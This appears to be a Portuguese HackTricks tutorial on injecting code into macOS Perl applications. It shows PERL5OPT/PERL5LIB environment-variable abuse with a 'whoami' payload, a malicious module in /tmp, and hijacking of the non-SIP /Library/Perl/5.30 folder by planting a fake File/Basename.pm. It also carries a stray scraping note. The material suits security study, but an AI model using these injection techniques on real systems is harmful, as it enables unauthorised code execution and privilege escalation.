macOS Perl Applications Injection

Suporte ao HackTricks

Através das variáveis de ambiente PERL5OPT e PERL5LIB

Usando a variável de ambiente PERL5OPT é possível fazer o perl executar comandos arbitrários. Por exemplo, crie este script:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

Agora exporte a variável de ambiente e execute o script perl:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Outra opção é criar um módulo Perl (por exemplo, /tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

E então use as variáveis de ambiente:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Através de dependências

É possível listar a ordem da pasta de dependências do Perl em execução:

perl -e 'print join("\n", @INC)'

O seguinte conteúdo é de um livro sobre técnicas de hacking. O conteúdo a seguir é do arquivo macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md.

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Algumas das pastas retornadas nem sequer existem, no entanto, /Library/Perl/5.30 existe, não é protegida pelo SIP e está antes das pastas protegidas pelo SIP. Portanto, alguém poderia abusar dessa pasta para adicionar dependências de script nela, para que um script Perl de alta privilégio as carregue.

No entanto, observe que você precisa ser root para escrever nessa pasta e hoje em dia você receberá este prompt TCC:

Por exemplo, se um script estiver importando use File::Basename; seria possível criar /Library/Perl/5.30/File/Basename.pm para executar código arbitrário.

Referências

Suporte ao HackTricks

Last updated